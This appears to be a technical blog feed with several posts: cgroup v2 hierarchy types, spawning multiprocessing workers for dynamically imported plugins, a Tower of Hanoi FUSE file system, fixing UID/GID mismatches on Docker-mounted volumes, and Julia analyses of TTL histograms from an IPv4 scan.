Fast forwarding 9 years, in kernel 4.5 a rewrite of cgroup revamp the idea, making it simpler and consistent.

This post focus in the organization of cgroups and it is the first of a 3-posts series about cgroup in its new v2 version.

In the next posts we will see how the resources are distributed among the cgroups and which constraints do we have.

Overview of `cgroup` organization

⊕ Notation: I will write cgroup to denote the Control Group implementation or hierarchy while I will write cgroup or cgroups to refer about one or more groups in particular.

cgroup can be split into two components: the core that mandates how the cgroups, processes and controllers are organized and the resource controllers that do the real resource distribution and enforce limits.

In this post I’ll focus on the core only.

In the v1 version, the cgroup system supported multiple hierarchies of cgroups and processes but this flexibility didn’t pay off.

In v2, cgroup has a single hierarchy where all the cgroups, processes and controllers live and that’s what we are going to explore here.

Let’s get into!

Mount point

To access the control interface of cgroup we need to have mounted the (pseudo) file system.

$ mount | grep cgroup                               # byexample: +fail-fast
cgroup2 on /sys/fs/cgroup type cgroup2 (<...>)

In my case it is mounted on /sys/fs/cgroup; in some other distros it is mounted under /sys/fs/cgroup/unified: just check where the (pseudo) cgroup2 file system is mounted.

Creating new cgroups

A hierarchy is divided into cgroups and those into more sub cgroups.

These can be easily created just creating subfolders inside the mount point.

$ cd /sys/fs/cgroup
$ mkdir -p test

$ ls -1 test/
<...>
cgroup.procs
<...>
cgroup.threads
cgroup.type
<...>

cgroup.procs lists the processes’ ids that belongs to the test/ cgroup and, as you may guessed, cgroup.threads lists the threads’ ids of the processes in the cgroup.

No process is in my test/ cgroup so both files are empty.

$ cat test/cgroup.procs

$ cat test/cgroup.threads

At the moment (kernel 5.17) there is no limit on how much nested a cgroup can be: we can create as many (sub) cgroups as we may please.

$ mkdir -p test/cg1
$ mkdir -p test/cg2

`domain` cgroups

The file cgroup.type says which kind of cgroup we have:

$ cat test/cgroup.type
domain

$ cat test/cg1/cgroup.type
domain

$ cat test/cg2/cgroup.type
domain

A cgroup that operates with processes is called a domain and it is the default type for each newly created cgroup.

⊕ The term slice is borrowed from systemd: systemd uses cgroup to manage the resources of processes and names .slice the files to configure the resource distribution.

It is our main way to organize processes into different domains to assign them different amounts of a resource, different slices of the cake.

`domain threaded` and `threaded` cgroups

However there are some resources that still make sense to distribute them even further, at the thread level.

In these cases we can turn one normal domain into a domain threaded.

⊕ Summary: a domain or domain threaded are cgroups that operate at process level while threaded cgroups operates at thread level.

The domain threaded still operates at the process level but further divisions are for partitioning the threads of the processes in the domain.

These divisions are neither normal domain nor domain threaded, these are threaded cgroups.

Let’s create first a few normal domains:

$ mkdir -p test/cg1/t1
$ cat test/cg1/t1/cgroup.type
domain

$ mkdir -p test/cg1/t2
$ cat test/cg1/t2/cgroup.type
domain

Now we turn one of the domains into a threaded cgroup and that will automatically turn its parent into a domain threaded:

$ # The parent cgroup, before
$ cat test/cg1/cgroup.type
domain

$ echo "threaded" > test/cg1/t1/cgroup.type
$ cat test/cg1/t1/cgroup.type
threaded

$ # The parent cgroup, after
$ cat test/cg1/cgroup.type
domain threaded

While we can still use test/cg1/ to control the resources of the processes that belong to the group, we can now use test/cg1/t1/ and test/cg1/t2/ to distribute the resources differently among the threads of the processes.

Of course this is possible only if the resource controller supports such distribution, if it is meaningful.

A resource controller that can distribute the resource among threads is a thread controller. A resource controller that operates only at the process level is a domain controller.

A main difference with cgroup v1 is that in v2 all the threads of a process belong to the same domain and hence they are subject to the control of a domain controller.

We can distribute the resources even further creating threaded partitions but all of them are inside the same domain threaded group.

In v1 the threads of a process could live in a different, totally unrelated part of the hierarchy that made the implementation of the controllers much complex.

`domain invalid`

We made test/cg1/t1/ into a threaded and that turned its parent test/cg1/ into a domain threaded.

What happen with the sibling of test/cg1/t1/, the test/cg1/t2/ cgroup?

$ # The parent cgroup
$ cat test/cg1/cgroup.type
domain threaded

$ # The threaded cgroup
$ cat test/cg1/t1/cgroup.type
threaded

$ # Its sibling
$ cat test/cg1/t2/cgroup.type
domain invalid

test/cg1/t2/ is in an invalid state because we said that any subfolder of a domain threaded must be of the threaded kind.

By default test/cg1/t2/ was domain so this is incompatible.

The same would happen if we create a new cgroup, because the default is of type domain, the resulting will be invalid too.

$ # The parent cgroup
$ cat test/cg1/cgroup.type
domain threaded

$ # Create a new cgroup
$ mkdir test/cg1/t3

$ # The default type is always 'domain' so it makes
$ # it invalid here inside of the 'domain threaded'
$ cat test/cg1/t3/cgroup.type
domain invalid

We can turn these invalid domains into threaded cgroups just writing in their cgroup.type the value threaded.

$ echo 'threaded' > test/cg1/t2/cgroup.type
$ cat test/cg1/t2/cgroup.type
threaded

Life time of a `domain threaded`

As we saw earlier, a domain threaded can be created by making one of its (sub) cgroups a threaded cgroup.

It is not possible to write domain threaded neither to change the type of a domain invalid nor to change a domain into a domain threaded.

$ echo 'domain threaded' > test/cg1/t3/cgroup.type
bash: echo: write error: Invalid argument

$ echo 'domain threaded' > test/cg2/cgroup.type
bash: echo: write error: Invalid argument

$ cat test/cg1/t3/cgroup.type
domain invalid

$ cat test/cg2/cgroup.type
domain

The only way to get a domain threaded is to have a (sub) cgroup of threaded type.

The same restriction works on the way back: to make a domain threaded back to a domain you must delete the (sub) threaded cgroups (changing them to domain does not work).

$ # this doen't work
$ echo 'domain' > test/cg1/t1/cgroup.type
<...>write error: Invalid argument

$ rmdir test/cg1/t1
$ rmdir test/cg1/t2

$ # back to "normal" domain
$ cat test/cg1/cgroup.type
domain

$ # not longer domain invalid
$ cat test/cg1/t3/cgroup.type
domain

cgroup’s type transitions

A summary of all the possible types that a cgroup can have and the possible transitions from one type to another.

All the transitions requires a direct action from the user like rmdir a folder to delete a cgroup or writing "threaded" in cgroup.type to turn that cgroup into a threaded cgroup.

There are 2 exceptions: a domain goes to domain invalid or to domain threaded based on the type of its parent and children. The same with the reverse transitions.

`cgroup` hierarchical organization

⊕
Each box represents a cgroup type and the arrows represents which cgroup type can contain which (sub) cgroup. For example one domain threaded can have one or more threaded cgroups.

Root is a very special cgroup that can contain any other type of cgroup: domain, domain threaded and threaded.

The diagram follows the semantics of an UML diagram.

We can summarize all the above in the following:

A domain can be divided into more domains just creating more (sub) cgroups with mkdir.
A cgroup can be turned into a threaded cgroup; its parent cgroup is automatically turned into a domain threaded.
If a domain threaded is left without threaded cgroups, automatically changes to domain.
A domain threaded is divided into threaded cgroups and these can be further divided in more (sub) threaded cgroups.

The mount point or root is a special cgroup that works as a domain but also as a domain threaded so it can have (sub) cgroups of domain type and of threaded type as well.

Next stuff

We shown how the cgroup hierarchy is organized. In the next post we will see how the resources are distributed among the cgroups and which constraints do we have.

Multiprocessing Spawn of Dynamically Imported Code

2022-03-06T00:00:00+00:00

The following snippet loads any Python module in the ./plugins/ folder.

This is the Python 3.x way to load code dynamically.

>>> def load_modules():
...     dirnames = ["plugins/"]
...     loaded = []
...
...     # For each plugin folder, see which Python files are there
...     # and load them
...     for importer, name, is_pkg in pkgutil.iter_modules(dirnames):
...
...         # Find and load the Python module
...         spec = importer.find_spec(name)
...         module = importlib.util.module_from_spec(spec)
...         spec.loader.exec_module(module)
...         loaded.append(module)
...
...         # Add the loaded module to sys.module so it can be
...         # found by pickle
...         sys.modules[name] = module
...
...     return loaded

The loaded modules work as any other Python module. In a plugin system you typically will lookup for a specific function or a class that will serve as entry point or hooks for the plugin.

For example, in byexample the plugins must define classes that inherit from ExampleFinder, ExampleParser, ExampleRunner or Concern. These extend byexample functionality to find, parse and run examples in different languages and hook –via Concern– most of the execution logic.

Imagine now that one of the plugins implements a function exec_bg that needs to be executed in background, in a separated Python process.

We could do something like:

>>> loaded = load_modules() # loading the plugins
>>> mod = loaded[0] # pick the first, this is just an example

>>> target = getattr(mod, 'exec_bg')  # lookup plugin's exec_bg function

>>> import multiprocessing
>>> proc = multiprocessing.Process(target=target)
>>> proc.start()    # run exec_bg in a separated process
>>> proc.join()

This is plain simple use of multiprocessing…. and it will not work.

Well, it will work in Linux but not in MacOS or Windows.

In this post I will show why it will not work for dynamically loaded code (like from a plugin) and how to fix it.

`multiprocessing`’s start method

To gain truly parallelism in Python you need to use multiprocessing.

multiprocessing.Process takes a target callable and an optional list of arguments and runs it in a separated Python process.

⊕ Actually there is a third mechanism, forkserver, but it works similar and suffers from the same issues that spawn.

There are two mechanisms to have this separated Python process running: you can fork the main process getting a copy of the Python process or you can spawn a fresh new Python process.

This is the so called start method for multiprocessing.

fork is the default in Linux and it is the fastest. When the child process gets alive, it is immediately ready to execute the target callable: it has access to all the global state of the parent (a copy), it has access to the target code to call and to its arguments.

Ready to rumble.

On the other hand spawn starts a fresh new Python server that has no idea of the state or the code loaded in the parent process.

The parent needs to share to the child server the target callable and its arguments via a pipe and for the serialization it uses pickle.

⊕ While technically fork should work fine in multithreaded apps, some very common multithreaded libs in MacOS do not work well. This brought some headaches in the past and since Python 3.8 spawn is the default in MacOS.

In Linux the most common multithreaded libs are prepared for fork so the risk is minimum (I would like to say zero but, you know, …)

spawn is slightly slower than fork but it is thread-safe and the default in MacOS and Windows.

`pickle`-ing a callable

So, what does it mean to pickle a callable?

One could think that the serialization is the dump of the bytecode of the callable but pickle is less sophisticated.

pickle.dumps(a_callable) just dumps enough information so pickle.loads() can load the code again.

Here are a few examples:

>>> import pickle
>>> import re

>>> pickle.dumps(re.match)
b'\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x02re\x94\x8c\x05match\x94\x93\x94.'

>>> c = re.compile('')

>>> pickle.dumps(c.match)
b'\x80\x04\x95?\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x07getattr\x94\x93\x94\x8c\x02re\x94\x8c\x08_compile\x94\x93\x94\x8c\x00\x94K \x86\x94R\x94\x8c\x05match\x94\x86\x94R\x94.'

There is no need to go into the details, we can use the intuition here.

re.match is a function so the only thing that we need to reload it is where to find it. In the output of pickle.dumps we can see the strings re and match.

For c.match is different. This is a bound method, so it is more complex and involves modules (builtins, re) and functions/methods (getattr, match) and some more bits.

So, what happen on pickle.loads() ?

pickle imports any necessary module (builtins, re) and from there loads the code.

It is like a recipe of how to (re)import the callable.

⊕ pickle is not the only way to serialize things. dill extends pickle and supports much more things including lambda functions.

Not all the callable can be serialized however: lambda for example cannot be imported from a module so they cannot be serialized.

Not such module

Now why the following fails may be more obvious. Let’s recap:

>>> loaded = load_modules() # loading the plugins
>>> mod = loaded[0] # pick the first, this is just an example

>>> target = getattr(mod, 'exec_bg')  # lookup plugin's exec_bg function

>>> import multiprocessing
>>> proc = multiprocessing.Process(target=target)
>>> proc.start()    # run exec_bg in a separated process
>>> proc.join()

The child process, spawned by the parent, tries to unpickle the target function and for such it will try to import the module mod.

The module is not loaded yet and not present in sys.modules in the child process because it is a fresh Python process.

pickle.loads() does a normal import as usual but the module mod will not be found, it is not a module in the standard path (sys.path) but a module loaded from an arbitrary folder (./plugins/)

pickle.loads() just cannot know that!

That’s why you cannot use multiprocessing naively with dynamically imported code: the child process has no idea how to load it!

This issue hit byexample when a third-party plugin tried to run in a subprocess part of its code in MacOS.

⊕ Well, it is possible to trigger it in Linux, you just need to change the start method of multiprocessing calling set_start_method() or get_context().

In Linux, with fork being the default, no pickle is needed and the bug was never triggered.

The fix

What we need is to (re)load all the dynamically loaded modules in the child process before the pickle.loads() takes place.

Instead of calling target on the child directly, we call a helper trampoline that does the bootstrap, loads the modules, unpickles the real target and calls it.

>>> loaded = load_modules() # loading the plugins
>>> mod = loaded[0] # pick the first, this is just an example

>>> def trampoline(serialized_func):
...     # All of this happens in the *child* process
...     # We reload the modules (and possible we do any bootstrapping
...     # needed)
...     loaded = load_modules()
...
...     # Now this pickle.loads() shouldn't fail
...     target = pickle.loads(serialized_func)
...     return target()

>>> # We pickle the target ourselves so we can control *when*
>>> # it is unpickled later.
>>> target = getattr(mod, 'exec_bg')
>>> serialized_func = bytes(pickle.dumps(target))

>>> import multiprocessing
>>> proc = multiprocessing.Process(target=trampoline, args=(serialized_func,))
>>> proc.start()
>>> proc.join()

`ForkingPickler`: a detail

To be more precise, multiprocessing uses a slightly improved pickle implemented in multiprocessing.reduction.ForkingPickler.

We should use it too to keep the same behavior.

>>> def trampoline(serialized_func):
...     # .....
...
...     fpickler = multiprocessing.reduction.ForkingPickler
...     target = fpickler.loads(serialized_func)
...     return target()

>>> fpickler = multiprocessing.reduction.ForkingPickler

>>> target = getattr(mod, 'exec_bg')
>>> serialized_func = bytes(fpickler.dumps(target))

>>> # ....

Hanoi File System

2022-02-07T00:00:00+00:00

Yeup, why not implement the classic Tower of Hanoi using folders as the towers and files as the discs?

Using FUSE we can implement a file system that can enforce the rules of the puzzle.

each file would have a size that represent the disc’s size
one can move a file from one folder to another if the file is the smallest of the files of both folders

Sounds fun?

Code overview

Three FUSE hooks are required for this:

getattr to define which entries are files and which are folders
readdir to list which entries are in which folder.
rename to enforce the rules of Tower of Hanoi.

These plus some extra bits are implemented in hanoifs.c.

Behind scenes, the logic of the game is handled by hanoi.c.

To keep the code simple, each tower (peg) is represented by a bit stack: a bit vector with a LIFO discipline, coded at bitstack.c.

Hanoi FS

Once compiled, you can mount the puzzle running hanoifs

$ ./hanoifs mnt/

Within the mounted file system the folders represent the towers of Hanoi

$ ls -lah mnt/
total 4.0K
drwxr-xr-x 5 root root    0 Jan  1  1970 .
drwxr-xr-x <...> ..
drwxr-xr-x 2 root root    0 Jan  1  1970 A
drwxr-xr-x 2 root root    0 Jan  1  1970 B
drwxr-xr-x 2 root root    0 Jan  1  1970 C

Inside each folder there are the files that represent the discs of the game.

Initially all the files (discs) are in the first folder (tower).

$ ls -lah mnt/A
mnt/A:
total 0
drwxr-xr-x 2 root root 0 Jan  1  1970 .
drwxr-xr-x 5 root root 0 Jan  1  1970 ..
-r--r--r-- 1 root root 1 Jan  1  1970 0
-r--r--r-- 1 root root 2 Jan  1  1970 1
-r--r--r-- 1 root root 4 Jan  1  1970 2

The traditional mv is used to move the discs. Under the hood any program that issue the rename syscall will be allowed.

$ mv mnt/A/0 mnt/C

Not all the movements are possible however; the movements are restricted following the rules of the puzzle.

You cannot move a disc that is not in the top of its tower (it is not the smallest file); you cannot move a disc to a tower on top of a disc smaller either.

$ mv mnt/A/2 mnt/B
mv: cannot move 'mnt/A/2' to 'mnt/B/2': Permission denied

$ mv mnt/A/1 mnt/C
mv: cannot move 'mnt/A/1' to 'mnt/C/1': Permission denied

Puzzle solution

The goal of the Hanoi Towers is to move all the discs to the latest tower (the latest folder, C in our case).

Here is the complete solution:

$ mv mnt/A/0 mnt/C
$ mv mnt/A/1 mnt/B
$ mv mnt/C/0 mnt/B
$ mv mnt/A/2 mnt/C
$ mv mnt/B/0 mnt/A
$ mv mnt/B/1 mnt/C
$ mv mnt/A/0 mnt/C

Once completed, a special file will appear at the root:

$ ls mnt/           # byexample: +norm-ws
 A   B   C  'you win'

Fix Ownership of Files in a Mounted Volume

2022-02-01T00:00:00+00:00

The file system of a docker container is ephemeral: it will disappear as soon as the container is destroyed.

To prevent data losses you can mount a folder of the host into the container that will survive the destroy of the container.

But it is not uncommon to find issues with the ownership and permissions of the shared files.

The file system of the host represents who is the owner of each file with an user and a group numbers.

Plain numbers.

Humans, on the other hand, think in terms of user names: “this is the file of Alice; this other is of Bob”.

The mapping between the numbers that the file system uses and the names that the humans understand is stored in /etc/passwd and /etc/groups.

And here we have a problem.

These two files, /etc/passwd and /etc/groups, live in the host’s file system and they are used to map the files’ numbers to names when you are seeing the files from the host.

When you enter into the docker container (or run a command inside), the shared files, mounted with -v, will have the same file numbers.

But, an here is the twist, inside the container you will be using for the mapping the /etc/passwd and /etc/groups files of the container and not of the host.

Same file numbers, different mappings.

UID/GID

Imagine the following folder in the host:

(host) $ ls -lah /home/alice/blog
drwxr-xr-x 12 alice devel 4.0K Jan 30 21:28 .
drwxr-xr-x 63 alice devel 4.0K Jan 30 21:25 ..
drwxr-xr-x  2 alice devel 4.0K Jan 30 20:35 docker
drwxr-xr-x  8 alice devel 4.0K Jan 31 02:40 .git
-rw-r--r--  1 alice devel   52 Jan 22 14:23 .gitignore
-rw-r--r--  1 alice devel 1.9K Jan 30 21:10 Makefile
drwxr-xr-x 26 alice devel 4.0K Jan 31 02:22 posts

All those files and folders belong to the user alice and the group develop.

But that’s with the host’s mapping.

We can see the file numbers behind running:

(host) $ ls -lah --numeric-uid-gid /home/alice/blog
drwxr-xr-x 12 1001 1024 4.0K Jan 30 21:28 .
drwxr-xr-x 63 1001 1024 4.0K Jan 30 21:25 ..
drwxr-xr-x  2 1001 1024 4.0K Jan 30 20:35 docker
drwxr-xr-x  8 1001 1024 4.0K Jan 31 02:43 .git
-rw-r--r--  1 1001 1024   52 Jan 22 14:23 .gitignore
-rw-r--r--  1 1001 1024 1.9K Jan 30 21:10 Makefile
drwxr-xr-x 26 1001 1024 4.0K Jan 31 02:22 posts

So, for the host user alice maps to the UID 1001; the same goes for the group develop and the GID 1024.

Now, imagine that we run a docker container and mount that folder above

(host) $ docker run -it -v /home/alice/blog:/wd ubuntu bash

The host’s /home/alice/blog is mounted in /wd inside the container.

If we list the files from inside the container we will see the same UIDs and GIDs

(container) $ ls -lah --numeric-uid-gid /wd
drwxr-xr-x 12 1001 1024 4.0K Jan 30 21:28 .
drwxr-xr-x 63 1001 1024 4.0K Jan 30 21:25 ..
drwxr-xr-x  2 1001 1024 4.0K Jan 30 20:35 docker
drwxr-xr-x  8 1001 1024 4.0K Jan 31 02:43 .git
-rw-r--r--  1 1001 1024   52 Jan 22 14:23 .gitignore
-rw-r--r--  1 1001 1024 1.9K Jan 30 21:10 Makefile
drwxr-xr-x 26 1001 1024 4.0K Jan 31 02:22 posts

But not necessary we will see the same mapping.

Incorrect mapping: two scenarios

There are 2 cases.

Scenario 1: there is no user/group with those IDs in the container so you will see this:

(container) $ ls -lah /wd
drwxr-xr-x 12 1001 1024 4.0K Jan 30 21:28 .
drwxr-xr-x 63 1001 1024 4.0K Jan 30 21:25 ..
drwxr-xr-x  2 1001 1024 4.0K Jan 30 20:35 docker
drwxr-xr-x  8 1001 1024 4.0K Jan 31 02:43 .git
-rw-r--r--  1 1001 1024   52 Jan 22 14:23 .gitignore
-rw-r--r--  1 1001 1024 1.9K Jan 30 21:10 Makefile
drwxr-xr-x 26 1001 1024 4.0K Jan 31 02:22 posts

Scenario 2: there is user/group in the container assigned to those IDs but they are mapped, of course, to something different than alice/develop:

(container) $ ls -lah /wd
drwxr-xr-x 12 apt sys 4.0K Jan 30 21:28 .
drwxr-xr-x 63 apt sys 4.0K Jan 30 21:25 ..
drwxr-xr-x  2 apt sys 4.0K Jan 30 20:35 docker
drwxr-xr-x  8 apt sys 4.0K Jan 31 02:43 .git
-rw-r--r--  1 apt sys   52 Jan 22 14:23 .gitignore
-rw-r--r--  1 apt sys 1.9K Jan 30 21:10 Makefile
drwxr-xr-x 26 apt sys 4.0K Jan 31 02:22 posts

How to fix this?

We need a common user and group in the host and container with the same UID and GID in both worlds.

In the scenario 1 we need to create an user and a group inside the container with the same UID/GID that the one from the host (1001 and 1024 respectively)

In the scenario 1 we are lucky: the UID/GID 1001/1024 are not assigned to any user/group so we can create the user alice and the group develop in the container and that’s it.

The scenario 2 is more complex because the UID/GID are already assigned. We will have to create a totally new user/group, both in the host and the container, to fix this.

Because the scenario 1 is a special subset of the scenario 1, I will describe how to fix the scenario 2.

First, pick a UID/GID that is not used either in the host nor in the container.

⊕ I’m using different numbers to make it easier to read but it is not necessary. You could use the same number for the UID and the GID without problems.

You can skip this step for the scenario 1 and use the original UID/GID 1001/1024

For example, let’s pick 1201 for the UID and 1224 for the group.

We can check this running grep and getting a 0 response that means that the id was not found (so it is not used)

(host) $ grep -c 1201 /etc/passwd
0
(host) $ grep -c 1224 /etc/group
0

(container) $ grep -c 1201 /etc/passwd
0
(container) $ grep -c 1224 /etc/group
0

With a free UID/GID we need to create a group and an user with those ids

(container) $ sudo groupadd -g 1224 devel2
(container) $ sudo useradd -s /bin/bash -u 1201 -M -g 1224 alice2

These creates a group named devel2 with GID of 1224 and an user named alice2 with UID of 1201. Yes, I’m not very creative with the names.

The -M says that you don’t want a home folder and -s sets the user’s shell to /bin/bash.

⊕ You can skip this step for the scenario 1 as you can use alice and devel

Now we do the same in the host

(host) $ sudo groupadd -g 1224 devel2
(host) $ sudo useradd -s /bin/bash -u 1201 -M -g 1224 alice2

Finally change the ownership of the shared files running

(host) $ sudo chown -R 1201:1224 /home/user/blog

Now before working with the files you need to log in as alice2

(host) $ sudo su alice2

(container) $ sudo su alice2

This applies to both the host and container.

Once logged in it may be convenient to set your HOME.

(host) $ export HOME=/home/alice
(container) $ export HOME=/wd

Why a simplest `chown`/`chmod` does not work?

On internet the solution to the “permission problem” is to run chmod.

You run chmod in the container to add a read-write-exec permissions ot everyone. Indeed any user, from the host or container, will be able to work with those files.

But what happen if you add a new shared file? That will have the user ownership and default permissions and you will not be able to use it in the host/container.

Not a stable fix, and 0777 looks suspicious.

Running chown to change the ownership is even more messier because you may change and set the “correct” user/group inside the container but you will be scrubbing the scenario in the host.

The ownership is not the problem. The permission are not the problem. Who to interpret the UID/GID is the problem.

(bonus track) To be a sudoer

$ sudo groupadd admin
$ sudo echo '%admin  ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/admin
$ sudo chmod 0400 /etc/sudoers.d/admin

$ sudo usermod -aG admin alice2
$ sudo usermod -aG sudo alice2

IPv4 Scan 2021 - TTL Boost (or reset)

2021-11-13T00:00:00+00:00

In the post about Hop-Stability we analyzed the TTL of the responses from all the scanned hosts.

In particular we used the TTL range: the difference between the smallest and the greatest TTL seen per host.

With a range of 0 or very close we claimed that the route to the host was stable; with range larger than 7 we said the contrary.

The analysis shown that only 0.39998% of 43056567 unique hosts had unstable routes.

However the analysis was only using a few statistics, when we plot the histogram of TTL ranges we see much more mysteries to solve.

TTL range histogram (how much stable is a route in a longer period? - revised)

We can plot multirounds_range in a histogram. Recap that multirounds_range is the range of TTLs, that means rounds_ttl[:,:max] - rounds_ttl[:,:min]; a quick histogram was shown before as hist_biased.

Histogram of TTL range between rounds of scans to the same host showing how much stable the routes are.

The dataset does not include hosts scanned only once. The vertical axis is in logarithmic scale.

The histogram may be misleading at first but remember that the vertical axis is in logarithmic scale.

That means that the main peak at 0 is almost 3 orders of magnitude larger than the three secondary peaks on the right.

This is compatible with the analysis made previously: the routes are highly stable and only a small fraction (0.39998%) are unstable with a large variance (represented by the right side of the histogram).

But the histogram shows some interesting features.

Peaks

Now we find where the local maxima are. We use a window of 40 to filter any peak that it is not high enough.

strict=false is crucial because argmaxima ignores any peak that it is too close on the edges (for which a full window cannot be computed). Without this, the peak at 0 would be lost.

julia> hist = fit(Histogram, convert(Vector{Int32}, multirounds_range[:, :range]), nbins=255)

julia> argmaxima(hist.weights, 40, strict=false) .- 1
4-element Vector{Int64}:
   0
  63
 127
 191

argmaxima returns the indexes where the peaks were found in the bins vector created.

Julia’s vectors are 1-based indexed but those indexes also represent the TTL range values where the peak were found except that they are shifted by 1.

In short, a peak at index n means a peak for the TTL range of n-1.

That’s why we do a .- 1.

Back to the numbers, what the hell do those peaks mean?

Analysis of the 3 secondary peaks

⊕

Let’s ignore the peak at 0 (those are the stable routes). Why do we have 3 secondary peaks?

Focus on the peak at TTL range of 191 (the right most).

That means that we have a host that in some moment had a TTL of $m$ and later it had a TTL of $M$.

Then, the range for that host is $M-m = 191$.

That happen for several hosts, probably each having a different $M$ and $m$ but all ended up having the same range of 191.

Let’s assume that one of those hosts is a Windows with a default TTL of 128.

⊕ The 15 comes from our estimation of the average distance in hop counts made in the Hop-Distance and Clusters post

We know that the scanner will receive the packets from it with an expected TTL of $128-15=113$. This of course will depend of how far is the host but it is expected to be at a distance of 15 hops.

So, we have two scenarios for this Windows host:

m=113,  M=304       (ttl=128, hops=15)
m=-78,  M=113

And none of those makes sense…

Revising the assumptions

To have a difference of 191, or we need $M=304$ or we need $m=-78$ that it is impossible: TTL must be between 0 and 255!

Let’s review the assumptions so far:

the host is a Windows with a default TTL of 128
the are 15 hops between the host and the scanner
the hops between the host and the scanner always decrement the TTL by 1

We could explain those numbers assuming that the hosts that contributed to form the peak at 191 are not Windows, or their default TTL are not 128.

A TTL of 64, with a distance of 15 hops, yields

m=49,    M=240       (ttl=64, hops=15)
m=-142,  M=49

We could also explain the peak if the hops between the hosts and the scanner is larger than 15.

For example, Windows hosts at a 64 hops yields:

m=63,    M=254       (ttl=128, hops=64)
m=-128,  M=63

So, the only way to explain the peak at 191 without falling in the cases $M=304$ or $m=-78$ is that the peak at 191 is formed by non-Windows hosts and/or really far Windows hosts.

But if that it is true, it is also true that are more hosts that can contribute to the first two secondary peaks at 63 and 127.

In other words, it is more likely to have a random host to fall in one of those two peaks (63 and 127); it is more unlikely to fall in the third one because –and this is also another assumption– it is more unlikely to pick a non-Windows host and/or a far Windows host.

Perhaps it is a wild idea but the fact that the peak at 191 is the same height and shape that the peaks at 63 and 127 is just weird.

We would be expecting the third peak at 191 to be smaller (less hosts matching the conditions). Right?

What if we drop our third assumption: the hops decrement the TTL by 1?

Could be possible that some hops instead of decrementing the TTL, increment it, like a TTL boost?

Perhaps.

TTL boost

Let’s assume that in some cases the packets coming from a host pass through a hop that does not decrement the TTL but resets it to 255.

Some kind of TTL boost.

Let’s see what would we see if a reset or a boost happen. What would be the observed range by us?

>>> default_ttls = [64, 128, 255]
>>> expected_hops = 15

>>> for ttl in default_ttls:
...    print(f"Default TTL={ttl} => m={ttl-expected_hops}, M={255-expected_hops} => Range=M-m={255-ttl}")
Default TTL=64 => m=49, M=240 => Range=M-m=191
Default TTL=128 => m=113, M=240 => Range=M-m=127
Default TTL=255 => m=240, M=240 => Range=M-m=0

That’s interesting! We would get peaks at 127 and 191 as we saw earlier.

Further research

The histogram shows more features that could be explained with the boost theory but it is required to have a more precise model about the internet.

Saying that there are 15 hops between any two machines is a too simplistic model.

Also, what have in common these hosts that gained a boost in their TTLs? May be there is a geographic reason. Again, we need a richer model to explore this.

IPv4 Scan 2021 - Hop-Distance Average and IP Distribution

2021-11-13T00:00:00+00:00

In the Multiprobes Analysis, we explored the statistics of the hosts and the communication to them.

This is a follow up to keep exploring the data:

which is the average distance between a host and the scanner in term of hop count?
which OS are running?
how are the hosts distributed?

Setup

Following the terms defined in Hop-Stability post, masscan sends multiple probes to the same host at the same time: we call these short bursts.

masscan may also scan the same host multiple times, at different moments: we call these rounds of short bursts or just rounds.

As we saw earlier, for a given host the time to live (TTL) read from every probe/packet remains constant within a short burst and relatively constant between rounds.

julia> all_rounds_g = groupby(df, :ip)

The TTL changes between rounds only by 1 or 2; changes of 8 or greater happen only in a very small fraction of the dataset, around 0.39998%.

For this reason we are going to work with the mode: the most common TTL value per host.

julia> all_rounds = combine(all_rounds_g, :ttl => mode => :ttl)

Histogram

Now we plot the histogram of all_rounds.

Histogram of TTL observed: the peaks indicate the different operative systems and their relative position respect the expected positions estimate the mean distance between the hosts and the scanner in hop count.

There are three really high peaks with $~10^6$ count with one secondary peak at the left of each main peaks.

In the x-axis are marked the typical TTLs values that the operative systems set by default. For some operative systems this may different depending of the version of the OS and the protocol of the packet.

We cannot do anything about the version of the OS but we can ignore the protocol because all the probes sent were TCP.

Notice however that the peaks are left-shifted from the expected default TTLs.

This is because the packets received had travelled through the network and in each hop the TTL is decremented by one.

Peak estimation

First we compute the histogram. We cannot plug in df[:, :ttl] directly because its type is Vector{Union{Missing, Int32}} and Histogram does not work with Missing values, even if there are no missing there.

julia> vec = convert(Vector{Int32}, df[:, :ttl])
julia> hist = fit(Histogram, vec, nbins=255)

Now we find where the local maxima ares. We use a window of 40, quite large, to filter out the secondary peaks.

strict=false is crucial because while scanning, if the search window gets slightly out of the range, no peak is detected. So peaks near the ends, like the around 235, wouldn’t be detected.

julia> argmaxima(hist.weights, 40, strict=false) .+ 4
3-element Vector{Int64}:
  49
 112
 239

Hop-distance average

⊕ 30, 32, 60, 64, 128, 200, 254 and 255 are the most common default TTLs; the 64, 128 and 254 correspond roughly to Unix, Windows and Solaris/AIX.

Reference: Subin's Default TTLs

Comparing these with the expected default TTLs we can know by how much the histogram was left-shifted:

julia> [64, 128, 254] - [49, 112, 239]
3-element Vector{Int64}:
 15
 16
 15

So the scanner is at 15 - 16 hops of distance, on average, from any other host in the network.

Histogram of TTL observed but with the values shifted to the right to compensate the fact that the TTLs are decremented during their travel through the network.

IP distribution

We can get an idea of how the hosts scanned are distributed in the IP space.

Sorted by IP address, we can compute the first order difference (aka df[i+1, :ip] - df[i, :ip]: hosts in the same subnetwork will have very small differences.

This crude model is not free of misinterpretations: two hosts at the end and at the begin of two large subnets, like 1.255.255.254 and 2.0.0.1 and you will get a difference of 2 but clearly they are at two different subnets.

julia> sort!(df, [:ip])
julia> unique!(df, [:ip])

julia> df_diff = DataFrame(diff = diff(df[:, :ip]))

julia> describe(df_diff)
1×7 DataFrame
 Row │ variable  mean     min    median   max       nmissing  eltype
     │ Symbol    Float64  Int64  Float64  Int64     Int64     DataType
─────┼─────────────────────────────────────────────────────────────────
   1 │ diff       86.893      1      2.0  50359752         0  Int64

The median tells us that half of the hosts’ IPs differ by 1 or 2 at most. They are far from being uniformely distributed.

The mean of 86.893 tells us that despite being highly non-uniform, clusters are quite separated each other, generating larger differences in the IP (so the mean moves towards the right).

Rough estimation for cluster density

We can integrate the difference back to the dataframe as follows:

julia> df[!, :diff] = insert!(diff(df[:, :ip]), 1, 0)

Arbitrarily, I chose 0 as the difference for the first IP, that’s why I did a insert!(..., 1, 0). Reasonable, I guess.

If we define that the maximum difference per cluster to 8, we can count how many clusters do we have:

julia> df_cluster_leaders = filter(:diff => >(8), df)
10822514×6 DataFrame

Once again we need to take into account the first cluster that it is counted above because its first host has a difference of 0 so obviously it is not part of the df_cluster_leaders.

